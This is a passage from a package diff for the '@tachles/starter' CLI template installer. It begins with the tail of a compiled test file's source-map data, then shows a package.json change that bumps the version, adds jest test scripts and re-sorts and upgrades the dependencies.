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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@tachles/starter",
-  "version": "1.1.0",
+  "version": "1.1.2",
   "description": "CLI tool for installing Tachles templates",
   "main": "dist/index.js",
   "bin": {
@@ -18,9 +18,19 @@
     "build": "tsc",
     "dev": "tsc --watch",
     "prepublishOnly": "npm run build",
-    "test": "jest"
+    "test": "jest",
+    "test:watch": "jest --watch",
+    "test:coverage": "jest --coverage",
+    "test:security": "jest --testMatch='**/*.test.ts' --testPathPattern='security|executor'"
   },
-  "keywords": ["cli", "template", "starter", "setup", "tachles", "scaffolding"],
+  "keywords": [
+    "cli",
+    "template",
+    "starter",
+    "setup",
+    "tachles",
+    "scaffolding"
+  ],
   "author": "Tachles",
   "license": "MIT",
   "repository": {
@@ -32,23 +42,26 @@
     "url": "https://github.com/DiDiTech-IL/starter-npm/issues"
   },
   "dependencies": {
-    "commander": "^12.0.0",
-    "inquirer": "^10.0.0",
-    "chalk": "^5.3.0",
-    "ora": "^8.0.0",
     "axios": "^1.7.0",
-    "zod": "^3.23.8",
-    "execa": "^9.0.0",
+    "chalk": "^5.3.0",
+    "commander": "^12.0.0",
     "conf": "^13.0.0",
-    "update-notifier": "^7.0.0"
+    "execa": "^9.0.0",
+    "inquirer": "^13.1.0",
+    "ora": "^8.0.0",
+    "update-notifier": "^7.0.0",
+    "zod": "^3.23.8"
   },
   "devDependencies": {
-    "@types/node": "^22.0.0",
     "@types/inquirer": "^9.0.0",
-    "typescript": "^5.7.0",
-    "jest": "^29.0.0"
+    "@types/jest": "^29.5.0",
+    "@types/node": "^22.0.0",
+    "@types/update-notifier": "^6.0.8",
+    "jest": "^29.0.0",
+    "ts-jest": "^29.1.0",
+    "typescript": "^5.7.0"
   },
   "engines": {
     "node": ">=18.0.0"
   }
-}
+}